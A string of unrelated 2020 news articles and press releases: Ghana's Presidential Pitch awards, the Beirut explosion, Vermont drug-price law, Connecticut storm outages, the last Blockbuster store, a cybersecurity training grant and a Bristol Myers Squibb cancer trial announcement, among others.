TSX Venture Exchange) accepts responsibility for the adequacy or accuracy of this news release. Forward-looking information This News Release includes certain "forward-looking statements". These statements are based on information currently available to the Company and the Company provides no assurance that actual results will meet management's expectations. Forward-looking statements include estimates and statements that describe the Company's future plans, objectives or goals, including words to the effect that the Company or management expects a stated condition or result to occur. Forward-looking statements may be identified by such terms as "believes", "anticipates", "expects", "estimates", "may", "could", "would", "will", or "plan". Since forward-looking statements are based on assumptions and address future events and conditions, by their very nature they involve inherent risks and uncertainties. Actual results relating to, among other things, results of exploration, project development, reclamation and capital costs of the Company's mineral properties, and the Company's financial condition and prospects, could differ materially from those currently anticipated in such statements for many reasons such as: changes in general economic conditions and conditions in the financial markets; changes in demand and prices for minerals; litigation, legislative, environmental and other judicial, regulatory, political and competitive developments; technological and operational difficulties encountered in connection with the activities of the Company; and other matters discussed in this news release. This list is not exhaustive of the factors that may affect any of the Company's forward-looking statements. These and other factors should be considered carefully and readers should not place undue reliance on the Company's forward-looking statements. The Company does not undertake to update any forward-looking statement that may be made from time to time by the Company or on its behalf, except in accordance with applicable securities laws. SOURCE: Avidian Gold Corp. View source version on accesswire.com:https://www.accesswire.com/601066/High-Tide-Resources-a-Subsidiary-of-Avidian-Gold-Commences-Verification-Drill-Program-at-its-Labrador-West-Iron-Ore-Property Ten young beneficiaries of the third edition of the Presidential Pitch initiative walked home with various sums of money ranging from GH30,000 to GH70,000 totalling GH1million. The monies, presented by President Akufo-Addo yesterday, is intended to serve as a support to grow their businesses as young entrepreneurs. Also, the President personally donated GH30,000 to the GH70,000 won by the ultimate winner, Douglas Akolgo. Speaking at a brief presentation ceremony at the Jubilee House, he commended each one of them who were selected from a pool of over 600 other applicants for their various initiatives. I want you to see yourselves first as Ghanaian entrepreneurs, but apart from that, there is a huge world out there which you have to do your best to conquer. So you should see yourselves both as Ghanaian entrepreneurs and a global entrepreneur, people who are going to change the circumstances in which we all live and for that to happen, innovation, new ideas are key, he advised. He said my function and the function of my government is to try to create the circumstances and condition that will give you the best opportunity, maintain stability in our micro economy and give you the best possible additions to be able to operate and succeed. He, therefore, asked them to scale up their businesses, increase and expand the work they are doing, since according to him, that is the way you are going to make an impact. The Minister for Business Development, Mohammed Awal, commended the President for showing the commitment to improve youth entrepreneurship in the country. He revealed that the Presidential Pitch initiative caught the attention of many outside the country, for which reason they have had enquiries from five countries in the sub-region to help them replicate the module in their respective countries. He said for now, we are only waiting for the borders to be opened so we can go and help those countries develop the module. Despite the pandemic (coronavirus) and its effect on businesses, Ghanaians are still confident that when the pandemic goes down, their businesses will rebound because of the way you have managed the economy and the pandemic, he noted. For the last three years that the programme has been running, the minister said pessimism had given way to optimism, while despondency had also given way to courage. He commended the President for the effort. This year's winner, Douglas Akolgo, on behalf of his colleagues, expressed profound gratitude to President Akufo-Addo and his government for the support. ---Daily Guide While most commentators agree that negligence led to the explosions that rocked Beirut last week, there is still speculation about who stood to benefit from them Amidst the political aftershocks of the devastating explosions that rocked Beirut last week, and as public anger rages against the ruling order and tensions seethe over options for the countrys future, the Lebanese are still naturally preoccupied with the cause of the disaster that wrought so much death and destruction. While hopes for definitive answers are still pinned on impartial investigations, speculation continues. Although suspicion was initially directed towards either the Lebanese Shia group Hizbullah or Israel, conjectures espousing a deliberate attack have receded in favour of the theory of gross negligence, which allowed a warehouse full of ammonium nitrate to become a bomb ready to be triggered. Yet, even as the negligence scenario has gained currency, perhaps in part because it offers quicker paths to bringing persons to justice and placating public opinion, it has not silenced speculation inspired by the question of cui bono, or who stood to benefit? Both Hizbullah and Israel were quick to put paid to the conspiracy theories focused on them. Hizbullah Secretary-General Hassan Nasrallah denied in no uncertain terms that Hizbullah possessed or operated the warehouses in question or exercised any control over the port or the management of its operations. His group was not responsible for the explosions or for the negligence that had led to them, Nasrallah said. In so saying, he also implicitly refuted the conspiracy theory targeting Israel, which, had also denied any connection with the tragedy in the immediate aftermath of the explosions. On the other hand, Lebanese President Michel Aoun refused to discard any possibility. In his first press conference after the explosions, he said that the investigations would determine whether they had been due to negligence or to a foreign agency. Tensions between Hizbullah and Israel have been fraught for weeks as the two sides have ratcheted up military preparedness along the border between Lebanon and Israel. According to a Times of Israel report last weekend, Israeli Chief of Staff Aviv Kochavi said that the Israeli army would remain on high alert along the Israeli border with Lebanon despite predictions that Hizbullah would forego, or at least defer, avenging the death of one of its fighters during an air strike in Syria widely attributed to Israel. Even so, commentaries in the press affiliated with both sides have denied that the explosions in Beirut were a factor in the tensions. Observers in Cairo, including intelligence experts contacted by Al-Ahram Weekly, noted that both the statements made by Hizbullah and Israel were carefully calibrated and had not necessarily eliminated all shadow of a doubt regarding their lack of responsibility for the Beirut explosions. According to one source, it is clear that over the past five years Israel has shifted its attacks against Hizbullah to Syria in tandem with the shift of Hizbullahs military weight to that arena. However, the recent cross-border incident at the Shebaa Farms has brought Lebanon back into the mutual escalation. According to another, neither Israel nor Hizbullah can be eliminated as possible suspects in the Beirut explosions. Israel has certainly identified targets in Beirut, and it is fully aware of how an incident of this nature would impact on Hizbullah. In like manner, the fact that Hizbullah does not own or control sites in the port and its insistence that the explosions were entirely unrelated to the trial regarding the assassination of Rafik Al-Hariri and other such claims do not necessarily clear it of suspicion, he said. Washington had initially hinted at a possible bomb attack in comments made by US President Donald Trump who said he had been briefed on the matter by US military officials. However, the US and even Trump himself then soon backed away from that theory. The following day Trump said that I dont think anybody can say right now. Were looking into it very strongly. Washington also offered to help with the investigations, which reaffirmed doubts about the theory that the explosions were deliberate. On the other hand, some Lebanese commentators took the offer as an expression of doubt about the ability of Lebanese investigators to come up with convincing answers. The French account appears to have gained prevalence. French officials and media quickly reached the conclusion on the basis of preliminary inquiries that the explosions were an accident. The French media unequivocally ruled out a missile attack, and the French news agency AFP posted videos that proved that videoclips ostensibly attesting to such an attack were photoshopped. Washington appears to be in touch with the political sentiments in Beirut. The Lebanese people have suffered too much and deserve to have leaders who listen to them and change course to respond to popular demands for transparency and accountability. We support them in their right to peaceful protest and encourage all involved to refrain from violence, the US Embassy in Beirut said on its Twitter account on 8 August. But there is still a connection between the more-prevalent government negligence scenario and the conspiracy theories, though this will remain on the back burner unless tangible evidence is produced to confirm a foreign hand. The Lebanese government, which may be the investigating authority, appears to have excluded the foreign-plot scenario if only because any evidence, or at least most of it, will have been lost as a consequence of the massive destruction. Meanwhile, in the midst of the political explosion that is reverberating across Beirut it is unlikely that people will find a single acceptable narrative, and all versions of what happened will likely be greeted with scepticism and distrust. Some intelligence analysts may be the most sceptical. They note the smaller explosion that preceded the one that created the huge mushroom cloud, and they also note the equipment and substances that were present in the vicinity. In addition to the tons of ammonium nitrate, there were also other explosive substances at the port including firecrackers or materials for firecrackers and, according to some reports, there were also oxygen tanks, welding equipment, faulty wiring and possible electrical shorts. It is impossible to ignore these things and their possible role in sparking the explosions, whether inadvertently or deliberately. After all, the port had all the makings of a huge bomb without the need for a manufactured one. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: On May 30th, Vermont Governor Phil Scott (R) signed Senate Bill 92 into law (now, Act 193). A law that adds new reporting requirements to disclose price information on prescription drugs for both manufacturers and insurance companies. This bill comes on the heals of a 2016 Vermont law requiring manufactures to report prices. While the language and intent of the original bill concerned interchangeable biological products only, a revision was agreed and adopted to add disclosure provisions targeting health insurers and drug manufacturers, as well as convening a working group to study to study and create a drug transparency report. Some of these added provisions, such as manufacturer high-cost drug notification, were in the original importation bill (see here). The provisions discussed within this article took effect upon passage of the bill (May 30, 2018). As you will see, there is a lot to unravel within the new law. Health Insurer Disclosure Requirements Per Act 193s legislative summary, health insurers will be required to report certain information to the Green Mountain Care Board about their plans spending on prescription drugs and the effect of prescription drug costs on the premiums for their plans. Disclosure impacting health insurers can be found under Sections 7 and 8 of Act 193. Under Section 7 of Act 193, health insurers will be required to submit information at the time it submits a rate filing. Reportable information includes providing: The percentage of the premium rate attributable to prescription drug costs for the prior year for each category of prescription drugs; The percentage of the premium rate attributable to prescription drugs administered by a health care provider in an outpatient setting that are part of the medical benefit as separate from the pharmacy benefit (if available); and Information on the insurers use of a pharmacy benefit manager (PBM) or managers, what components that are included within the disclosure are managed by the PBM, and the PBM name(s). Section 8 adds to health insurer disclosure. While the law limits the scope to only those insurers with more than 1,000 covered lives in [Vermont] for major medical health insurance,it applies to all covered prescription drugs, including generic drugs, brand-name drugs, and specialty drugs provided in an outpatient setting or sold in a retail setting. The following will be submitted to the Green Mountain Care Board (GMCB): The 25 most frequently prescribed drugs and the average wholesale price for each drug; The 25 most costly drugs by total plan spending and the average wholesale price for each drug; and The 25 drugs with the highest year-over-year price increases and the average wholesale price for each drug. The GMCB will use the information to create a report that will be published on or after January 1st of each year; the report will not reveal information that identifies a specific health benefit plan. Manufacturer Cost Transparency Requirements Act 93 impacts manufacturers in two ways: Strengthens the existing cost transparency requirements (i.e., requires manufacturers to annually report costs for certain drugs identified by the state); Adds a new law that requires manufacturers to provide notice before introducing a high-cost prescription drug to the market; and Strengthening Existing Requirements Existing Law: Two years ago, Vermont became the first-in-the-nation to require manufacturers of high-cost drugs to annually report pricing information for those drugs (see our article here). The law permitted a state agency to identify up to 15 drugs per year; the last two years, the agency identified ten 10 prescription drugs (see 2017 list here). Manufacturers of those drugs were required to submit information to the Vermont Attorney General (AG), such as providing justification for the increase in the wholesale acquisition cost (WAC). In turn, the AG created and submitted a report to the legislature by December 1st (see the 2017 report here). What has changed? The new law empowers the Department of Vermont Health Access (DVHA) to create annually a list of 10 prescription drugs on which the State spends significant health care dollars and for which the [WAC] has increased by 50 percent or more over the past five years or by 15 percent or more over the past 12 months during the previous calendar year, creating a substantial public interest in understanding the development of the drugs pricing. The DVHA, including health insurers with more than 5,000 covered lives in Vermont, must also create annually a list of 10 prescription drugs on which the State spends significant health care dollars and for which the cost to the [DVHA], net of rebates and other price concessions, has increased by 50 percent or more over the past five years or by 15 percent or more during the previous calendar year, creating a substantial public interest in understanding the development of the drugs pricing. The DVHA and health insurers will then submit the information to the AG by June 1st. The AG is responsible for reviewing these lists and identifying 15 drugs in accordance with the laws selection guidelines. Next, manufacturers of the 15 drugs are required to provide justification for the increase in the net cost of the drug to the AG. Additional information must be submitted, such as each factor that specifically caused the net cost increase over to the [DVHA], to one or more health insurers, or both during the specified period of time. Previously, manufacturer reports were not subject to public disclosure . Now, reports submitted by the manufacturers will be posted online (known as the public version). While the manufacturer can request to redact certain information in the public version as proprietary or confidential, the request is subject to the AGs approval . Separately, the AG will provide a report to the legislature by December 1st. Both reports will be publicly available on the AGs website. Notice of Introduction of New High-Cost Prescription Drugs This new provision requires a prescription drug manufacturer to notify the AG, in writing, if it is introducing a prescription drug to market at a WAC that exceeds the threshold set for a specialty drug under the Medicare Part D program (for CY 2018, the threshold is set at $670 ; for additional information on the threshold see here). If applicable to your company, then the notification must be provided within 3 calendar days following the release of the drug in the commercial market. Within 30 calendar days following the 3-day notification, the manufacturer must provide certain information to the AG, such as a description of the marketing and pricing plans used in the launch of the new drug in the United States and internationally and the date and price of acquisition if the drug was not developed by the manufacturer. The AG will post information quarterly on its website, but done in a manner that would not allow identification of the drug. It should be noted that this notice provision is similar to language found within a California bill signed into law in 2017 and an Oregon bill signed into law earlier this year. The Working Group The Vermont Secretary of Human Services or its designee must convene a working group comprising one representative each from the Department of Vermont Health Access, the Green Mountain Care Board, the Vermont Board of Pharmacy, the Vermont Association of Chain Drug Stores, the Vermont Pharmacists Association, the Vermont Retail Druggists, Bi-State Primary Care Association, and the Vermont Association of Hospitals and Health Systems. (collectively, the Working Group). The Working Group will be responsible for investigat[ing] and analyz[ing] prescription drug pricing throughout the prescription drug supply chain in order to identify opportunities for savings for Vermont consumers and other payers and for increasing prescription drug price transparency at all levels of the supply chain. The Working Group must submit the report on or before November 18, 2018 to the legislature. ANN ARBOR, MI -- Ann Arbor is moving forward with four finalists for the city administrator position. The names of the candidates are expected to be announced on Tuesday afternoon. City council members identified the four candidates out of 10 semi-finalists in a closed session on Monday, Aug. 10. Each of them will be notified Monday evening and will be interviewed by city council, city staff and community members on Thursday, Aug. 20, according to Council Member Jane Lumm. Finalists for Ann Arbor city administrator position to be announced Monday As soon as theyre all contacted, their names and biographical information will be made public, and thats likely to occur tomorrow, Lumm said. Additionally, a community survey will be released for the public to provide input on Aug. 20. Based on that feedback, city council on Aug. 24 will determine the next steps, which could be negotiating with a finalist, inviting multiple finalists for additional interviews in September or relaunching the search, Lumm continued. Im glad that were going to be moving forward and inviting four candidates to come back to us to interview, Mayor Christopher Taylor said. Council in June voted to launch a search to replace former City Administrator Howard Lazarus, who was fired by council in a 7-4 vote in February. Three council members who voted to fire Lazarus Anne Bannister, Jack Eaton and Jane Lumm were ousted in this weeks primary and will leave office in November. Lazarus started a new job in July as executive director of Delaware County, Pennsylvania. The Ann Arbor News reporter Ryan Stanton contributed to this report. Why was Ann Arbor City Administrator Howard Lazarus fired? Emails shed some light Emails show blowback against Ann Arbor council after firing administrator Ann Arbor mayor ruling by veto led to administrators ouster, councilman says Shame on you. Residents react angrily to firing of Ann Arbor city administrator Less than 1 percent of Eversources Connecticut customers remain without power late Tuesday night, more than one week after Tropical Storm Isaias tore through the state. Eversource announced it expected to have power restored to 99 percent of its customer base in the state after the damaging storm knocked out power to hundreds of thousands of the utility companys customers. Around 10 p.m. Tuesday, Eversource reported 6,739 outages remains which the company said represents 0.53 percent of its 1,281,332 customers. Among the areas without power, a bulk of outages remained in Bethel (292), Brookfield (122), Danbury (1,626), Greenwich (166), New Milford (443), Newtown (688), Norwalk (183), Ridgefield (565), Salisbury (181), Stamford (319), Washington (185), Weston (141), Westport (456) and Wilton (303). When the storm hit, a tornado touched down in Westport; winds ripped down trees, tree limbs and power lines, blocking scores of roads across the state for days. At the height of outages, utility companies reported a combined roughly 1 million customers without power. Eversource said more than 2,500 line and tree crews have been working nonstop to repair the extensive damage and restore remaining outages. Craig Hallstrom, Eversources president of regional electric operations, said at this point in the restoration efforts, final outages often call for time-consuming, extensive repairs. For example, we can have five or more crews which can be about 18 people working most of the day to repair the damage at one location and that will bring power back to only one customer, Hallstorm said. He said the damaged caused by Tropical Storm Isaias rivals and in many cases surpasses the destruction caused by other recent historic storms. During Isaias, more than 20,000 spots across the state saw damage, compared with 16,101 during Tropical Storm Irene and 16,460 during Superstorm Sandy. Eversource said it reached peak outages for Isaias 632,632 customers 3:30 p.m. Aug. 5, about 24 hours after the storm hit. Peak outages reached 671,000 Eversource customers during Irene, while less than 500,000 of the utility services customers were without power during Sandys peak, according to Eversource. The utility company said it restored power to about 550 polling sites ahead of Connecticuts primary election day on Tuesday. Eversources territory has nearly 1.3 million customers in 149 of the states 169 municipalities. A listing of estimated restoration times can be found at eversource.com. While Eversource crews continue to push ahead, United Illuminating already reached its goal of restoring power to 99 percent of its customers by midnight Monday. UIs 17-town service area in New Haven and Fairfield counties has 337,496 customers. As of around 10 p.m. Tuesday, there were only 9 UI customers without power. Three of those outages were in Bridgeport, two each in New Haven and North Haven and one each in Hamden and Shelton. Advertisement The world's last remaining Blockbuster store will be transformed into an Airbnb. And the house rules? Be kind and please rewind, of course (and try not to summon the resident ghost). The enduring outlet is located in Bend, Oregon, and the stays will cost just a few pennies more than a rental - $4 plus fees and taxes (3.05). The world's last remaining Blockbuster store (pictured) in Bend, Oregon, will be transformed into an Airbnb Stays at the enduring outlet will cost just a few pennies more than a rental - $4 plus fees and taxes (3.05) Preview photos show that guests will stay in a portion of the store that's been revamped into a living room, complete with a big television and couch that folds out into a bed. The store's manager, Sandi Harding, said she was inspired to run the sleepover in appreciation of what the local community had done to support her business in such uncertain times. For that reason, the stays are only available to residents in the Deschutes County area, with bookings open from 1pm PST/9pm BST on August 17, via Airbnb. The shelves in the store will be stocked with a vast array of movies to suit all tastes. Sandi will act as the Airbnb host to show guests what is what before handing over the keys. The listing states: 'As the last standing location in the world, our Blockbuster store is an ode to movie magic, simpler times and the sense of community that could once be found in Blockbuster locations around the world' The house rules for the Airbnb Blockbuster? Be kind and rewind, of course (and try not to summon the resident ghost) THE HISTORY OF VHS AND BLOCKBUSTER VHS tapes became available in the United States in 1977 after a successful reveal in Japan in 1976. With the rise of DVDs, Hollywood gradually stopped releasing movies on VHS. The last movie to be produced in VHS format was A History of Violence in 2006. Blockbuster was founded by David Cook in 1985 after he saw the potential in the VHS rental business. It grew to be the lead video rental franchise during the 90s, boasting 9,000 locations worldwide. In 2001 the firm reduced its video cassette collections by a quarter to make room for increasingly popular DVDs. But due to increased competition from the likes of Netflix and Redbox, it lost 75 per cent of its market value between 2003 and 2005. By 2017 there were just 10 stores left in the U.S. Now the only remaining store in the world is located in Bend, Oregon. Advertisement The Bend Blockbuster store manager, Sandi Harding After the final guests check out, those who weren't able to snag a stay will be able to check out the Airbnb set-up for a limited time. The listing states: 'As the last standing location in the world, our Blockbuster store is an ode to movie magic, simpler times and the sense of community that could once be found in Blockbuster locations around the world. 'Over the past few months, weve been missing the regular visits from friends, neighbors and tourists from around the world. So, were opening our store to three quarantine pods of Deschutes County guests for a socially-distanced movie night, just like those of decades past! 'Whether you want to stay up until sunrise or pass out on the couch, weve created the perfect space complete with a pull-out couch, bean bags and pillows for you to cozy up with new releases from the 90s. Crack open a two-liter of Pepsi before locking into a video game, charting your future in a game of Mash, or watching movie after movie. But be wary of reciting Bloody Mary in the staff bathroom off the break room, as you just may summon the ghost rumored to haunt the store. 'And help yourself to some Nerds, Raisinets and popcorn (heavy on the butter), but make sure you save room for a couple of slices. And remember, the store is all yours for the night. So let loose, blast the boombox and wear your favorite 90s denim so that you feel right at home in another era.' Blockbuster was once the lead video renting franchise, boasting 9,000 locations worldwide. By 2017 there were just 10 stores left in the U.S and Alaska closed its last couple of shops in 2018 by selling T-shirts and hats. The Bend location seems to be doing just fine though - it has remained open for more than 20 years. A large slice of the sales are thanks to classic old movie titles, and it sells a range of merchandise including hats, T-shirts and sunglasses. To celebrate the last Blockbuster in the world and its community, Airbnb will make a donation from the stays to the Humane Society of Central Oregon, a longtime partner of the store that's close to Sandis heart. By Bahk Eun-ji The Moon Jae-in administration has been at odds with doctors over its healthcare reform bills that will increase the number of medical students admitted to universities and establish a state-funded medical school. The government said July 23 that it wants to produce more doctors to broaden the reach of public health care services as the necessity for this was confirmed with the onset of the ongoing COVID-19 pandemic. As soon as the plan was made public, however, doctors' groups were up in arms immediately, vowing to go on strike. The Korea Medical Association (KMA), the nation's largest union for doctors, and the Korean Intern Resident Association (KIRA) announced plans to stage an all-out strike Aug. 14 to protest the reform. According to the Korea Intern Resident Association (KIRA), a group that represents interns and resident doctors here, nearly 95 percent of the group's 16,000 members are expected to join the strike. In response, Health Minister Park Neung-hoo urged the medical community to call off the planned strike and proposed dialogue to resolve the issue. Although the health minister reiterated the need to raise the admission quota during a press conference at the government complex in Seoul, Thursday, many pointed out that the process of collecting opinions and discussing these with the medical community has largely been omitted. In particular, some claim that raising the quota of medical school students and establishing a public medical school will reignite the controversy over increases in the national health insurance premium as well as medical bills. If doctors wish to avoid criticism from the public for being a group with vested interests, it must open proper channels for dialogue with the government rather than going on strike or holding other protests, according to observers. They note that few patients would find a problem with the revision bill. Does quota matter? PHOENIX, Aug. 11, 2020 /PRNewswire/ -- Transmosis, a nationally recognized leader in cybersecurity workforce development and small business cyber security protection, today announced it has been named a recipient of EARN funding from the Maryland Department of Labor. More information can be found at: https://pr.transmosis.com/earn-soc-analyst-grant . Maryland Secretary of Labor has awarded a cyber security training grant to leading workforce developer, Transmosis. EARN Maryland is a highly competitive workforce development grant program that helps businesses cultivate the skilled workforce they need to compete while preparing Marylanders for meaningful careers. Through EARN, Transmosis will expand its innovative SOC Analyst Training program in offering Marylanders the opportunity to receive advanced industry driven cyber security training and certification. The EARN SOC program will provide fully subsidized scholarships for qualified applicants in the Maryland region. The average national starting salary for a SOC Analyst is $64,003 (*Salary.com) and is one of the most in-demand career fields in the United States across multiple industry categories. "One of the critical missing links in most information technology training models is that candidates rarely get the chance to receive hands-on, real world industry experience," said Chase Norlin, Transmosis CEO. "The Transmosis SOC Analyst Training model provides key information security industry certifications along with a proprietary Externship program that includes live Security Operations Center training on next-generation Artificial Intelligence powered software platforms in real world environments." Externships are delivered in partnership with some of the fastest growing startups in the cyber security industry, further enhancing applicant work experience and employment opportunities. Previous graduates have successfully graduated to become SOC Analysts, Cyber Security Analysts, Threat Intelligence Analysts, Vulnerability Analysts, Information Security Analysts, IT Security Analysts, Cyber Threat Analysts, and Security Administrators. The EARN SOC Analyst program will help cultivate advanced cyber security talent in the Maryland region in partnership with industry and government. Previous Transmosis EARN grants have successfully developed cyber security talent among underrepresented groups, the unemployed, underemployed, veterans, and youth. The intensive SOC Analyst training and certification program will launch September 7 with successful applicants being offered full scholarships, each worth approximately $10,000. To apply please visit: https://pr.transmosis.com/earn-soc-analyst-grant . About Transmosis Transmosis is a nationally recognized cyber security workforce developer that enables American workers to develop new careers in the rapidly growing information security industry. Transmosis is the creator of CyberOps, a military grade cyber security platform designed to protect small businesses from cyberattack ( www.transmosis.com ). Contact Transmosis Media Relations [email protected] SOURCE Transmosis Insurance fraud seems like it might be an easy thing to do. Insurance companies are often so huge, one wonders how they might not even notic... (Alliance News) - Labour has raised fresh questions over outsourcing giant Serco Group PLC role in the UK government's test-and-trace programme to track coronavirus cases. Shadow Health Minister Justin Madders accused the government of being "too quick to hand out juicy contracts to the private sector" as he shared a letter on Twitter, which he claimed revealed communication with the company back in January months ahead of the coronavirus lockdown. Speaking to the PA news agency, Madders said: "I think it's for the Government to explain the process they underwent and what conversations were taking place in January about test and traceaIt just seems really, really shambolically handled all the way along." He tweeted: "This is an email from the customer services director at Serco explaining how they first got involved in track and trace. ""I received a (phone) call from Public Health England officials on 22nd Januarya" Who instructed officials to make that phone call? Why Serco? We need answers!" The government has defended its test-and-trace programme after it was criticised as nowhere near "world-beating". It announced it was strengthening regional test-and-trace powers in England while axing 6,000 national contract tracers. Mr Madders added: "Serious questions need to be answered about why Serco was asked as early as January to get involved in the Government's response to the pandemic and whether adequate procurement processes were followed when Serco was later awarded the contract to oversee contact tracing. "But the fact that the Government is now handing more support to local authorities to carry out contact tracing shows that even they now accept they made the wrong decision in pursuing this centralised model. "This is yet another example of the government being too slow to tackle Covid-19 and too quick to hand out juicy contracts to the private sector. "Ministers need to get on top of the issues with contact tracing, and do so quickly." A Serco spokesman said: "Serco was appointed to the test-and-trace programme in May under an initial three-month contract. "Serco was appointed under the Crown Commercial Service's contact centre services framework. We gained our place on the framework through fair and open competition." Health minister Edward Argar, who previously worked for Serco, told BBC Radio 4's Today programme: "Even though it's six years ago and I have no connection with the company since then, that is why I've had no involvement with this process and with this contract." Explaining the changes to the system, he told Sky News: "I think this is actually, this is a reflection of a successful system that, as we've always said, will flex and evolve to meet our understanding of the disease and the changing needs of our communities." A government spokeswoman later said in a statement: "As a result of public and private sector organisations working together at pace, we were able to protect our NHS and strengthen our response to this unprecedented global pandemic. "Contracts have been awarded completely in line with procurement regulations for exceptional circumstances, where being able to procure at speed has been critical in the national response to Covid-19." source: PA Copyright 2020 Alliance News Limited. All Rights Reserved. According to RBC-Ukraine, the Jewish Confederation of Ukraine together with the Jerusalem Post will hold the Second Kyiv Jewish Forum in September. Holding the online Forum on September 8-9 was announced by the JCU President Boris Lozhkin during the Assembly of the Euro-Asian Jewish Congress, the newspaper writes. It is already known that the President of the World Jewish Congress Ronald Lauder, the Prime Ministers of Israel Benjamin Netanyahu and Benny Gantz, representatives of the House of Lords of the United Kingdom and the US State Department and other political and religious leaders, representatives of the big world business have been invited to participate in the panel discussions. According to the publication, one of the panels devoted to the problem of online anti-Semitism is expected to include Google co-founder Sergey Brin, Director of Public Policy for Twitter in Europe Karen White and member of the Facebook Oversight Board Amy Palmore. Let us recall that the First Kyiv Jewish Forum was held in Kyiv last year. It gathered 500 participants from many countries. We felt the time was ripe to re-connect the Ukrainian Jewish community with the global Jewry by creating a comprehensive international discussion platform in Kyiv, Lozhkin said after the First Forum. CheckMate -577, a Phase 3 Trial Evaluating Opdivo (nivolumab) as Adjuvant Therapy for Patients with Resected Esophageal or Gastroesophageal Junction Cancer, Meets Primary Endpoint of Disease-Free Survival Details Category: Antibodies Published on Tuesday, 11 August 2020 13:41 Hits: 1540 Opdivo is the first and only treatment to demonstrate superior efficacy in patients with esophageal or gastroesophageal junction cancer following neoadjuvant chemoradiation therapy and resection Second tumor, in addition to melanoma, where Opdivo has demonstrated a benefit in the adjuvant setting PRINCETON, NJ, USA I August 11, 2020 IBristol Myers Squibb (NYSE: BMY) today announced the Phase 3 CheckMate -577 trial evaluating Opdivo (nivolumab) as an adjuvant therapy for patients with resected esophageal or gastroesophageal junction (GEJ) cancer met its primary endpoint of disease-free survival (DFS) at a pre-specified interim analysis. In the trial, treatment with Opdivo following neoadjuvant chemoradiation therapy (CRT) and complete surgical resection demonstrated a statistically significant improvement in the primary endpoint of DFS compared to placebo in the all-randomized population. The safety profile of Opdivo was consistent with previously reported studies. This is the second tumor, in addition to melanoma, where Opdivo has demonstrated a benefit in the adjuvant setting. Approximately 50% of patients with esophageal or gastroesophageal junction cancer who undergo neoadjuvant chemoradiation therapy followed by tumor resection will have disease recurrence within four years, and among those who do not respond completely to neoadjuvant treatment, recurrence will occur sooner, said Ronan J. Kelly M.D., MBA, Director of the Charles A. Sammons Cancer Center at Baylor University Medical Center. Medical oncologists have had limited to no treatment options to offer esophageal cancer patients who undergo neoadjuvant chemoradiation therapy followed by surgery and fail to demonstrate a complete pathological response. For the first time, we have a potential therapeutic option with nivolumab in the adjuvant setting for these patients. Opdivo is the first and only therapy to improve disease-free survival, along with a manageable safety profile, for patients with esophageal or gastroesophageal junction cancer following neoadjuvant chemoradiation therapy and surgery, said Ian M. Waxman, M.D., development lead, Gastrointestinal Cancers, Bristol Myers Squibb. The results from CheckMate -577 are immensely important for physicians and patients, and have the potential to establish Opdivo as a new standard of care. We plan to provide our data to health authorities worldwide with the goal of bringing Opdivo as an adjuvant therapy to these patients with high unmet need. The company will complete a full evaluation of the available CheckMate -577 data and work with investigators to share the results at an upcoming medical conference, as well as discuss them with health authorities. The CheckMate -577 trial will continue as planned to allow for future analysis of the secondary endpoint of overall survival (OS). About CheckMate -577 CheckMate -577 is a Phase 3 randomized, multi-center, double-blind study evaluating Opdivo as an adjuvant therapy in patients with resected esophageal or GEJ cancer who have received neoadjuvant CRT therapy and have not achieved a pathological complete response. The primary endpoint of the trial is DFS and the secondary endpoint is OS. Following neoadjuvant CRT therapy and complete tumor surgical resection, patients were randomized to receive placebo or Opdivo 240 mg by intravenous infusion every two weeks for 16 weeks followed by Opdivo 480 mg every four weeks until disease progression or unacceptable toxicity. About Esophageal Cancer Esophageal cancer is the seventh most common cancer and the sixth leading cause of death from cancer worldwide. The two most common types of esophageal cancer are squamous cell carcinoma and adenocarcinoma, which account for approximately 84% and 15% of all esophageal cancers, respectively, though esophageal tumor histology can vary by region with the highest rate of esophageal adenocarcinoma occurring in North America (65%). The majority of cases are diagnosed in the advanced setting and impact a patients daily life, including their ability to eat and drink. About Gastric and GEJ Cancer Gastric cancer, also known as stomach cancer, is the fifth most common cancer and the third leading cause of cancer death worldwide. There are several cancers that can be classified as gastric cancer, including certain types of cancers that form in the GEJ, the area of the digestive tract where the esophagus and stomach connect. While GEJ cancer has a lower prevalence than gastric cancer, it continues to rise. Bristol Myers Squibb: Advancing Cancer Research At Bristol Myers Squibb, patients are at the center of everything we do. The goal of our cancer research is to increase patients quality of life, long-term survival and make cure a possibility. We harness our deep scientific experience, cutting-edge technologies and discovery platforms to discover, develop and deliver novel treatments for patients. Building upon our transformative work and legacy in hematology and Immuno-Oncology that has changed survival expectations for many cancers, our researchers are advancing a deep and diverse pipeline across multiple modalities. In the field of immune cell therapy, this includes registrational CAR T cell agents for numerous diseases, and a growing early-stage pipeline that expands cell and gene therapy targets, and technologies. We are developing cancer treatments directed at key biological pathways using our protein homeostasis platform, a research capability that has been the basis of our approved therapies for multiple myeloma and several promising compounds in early- to mid-stage development. Our scientists are targeting different immune system pathways to address interactions between tumors, the microenvironment and the immune system to further expand upon the progress we have made and help more patients respond to treatment. Combining these approaches is key to delivering new options for the treatment of cancer and addressing the growing issue of resistance to immunotherapy. We source innovation internally, and in collaboration with academia, government, advocacy groups and biotechnology companies, to help make the promise of transformational medicines a reality for patients. About Opdivo Opdivo is a programmed death-1 (PD-1) immune checkpoint inhibitor that is designed to uniquely harness the bodys own immune system to help restore anti-tumor immune response. By harnessing the bodys own immune system to fight cancer, Opdivo has become an important treatment option across multiple cancers. Opdivos leading global development program is based on Bristol Myers Squibbs scientific expertise in the field of Immuno-Oncology, and includes a broad range of clinical trials across all phases, including Phase 3, in a variety of tumor types. To date, the Opdivo clinical development program has treated more than 35,000 patients. The Opdivo trials have contributed to gaining a deeper understanding of the potential role of biomarkers in patient care, particularly regarding how patients may benefit from Opdivo across the continuum of PD-L1 expression. In July 2014, Opdivo was the first PD-1 immune checkpoint inhibitor to receive regulatory approval anywhere in the world. Opdivo is currently approved in more than 65 countries, including the United States, the European Union, Japan and China. In October 2015, the Companys Opdivo and Yervoy combination regimen was the first Immuno-Oncology combination to receive regulatory approval for the treatment of metastatic melanoma and is currently approved in more than 50 countries, including the United States and the European Union. INDICATIONS OPDIVO (nivolumab), as a single agent, is indicated for the treatment of patients with unresectable or metastatic melanoma. OPDIVO (nivolumab), in combination with YERVOY (ipilimumab), is indicated for the treatment of patients with unresectable or metastatic melanoma. OPDIVO (nivolumab), in combination with YERVOY (ipilimumab), is indicated for the first-line treatment of adult patients with metastatic non-small cell lung cancer (NSCLC) whose tumors express PD-L1 (1%) as determined by an FDA-approved test, with no EGFR or ALK genomic tumor aberrations. OPDIVO (nivolumab), in combination with YERVOY 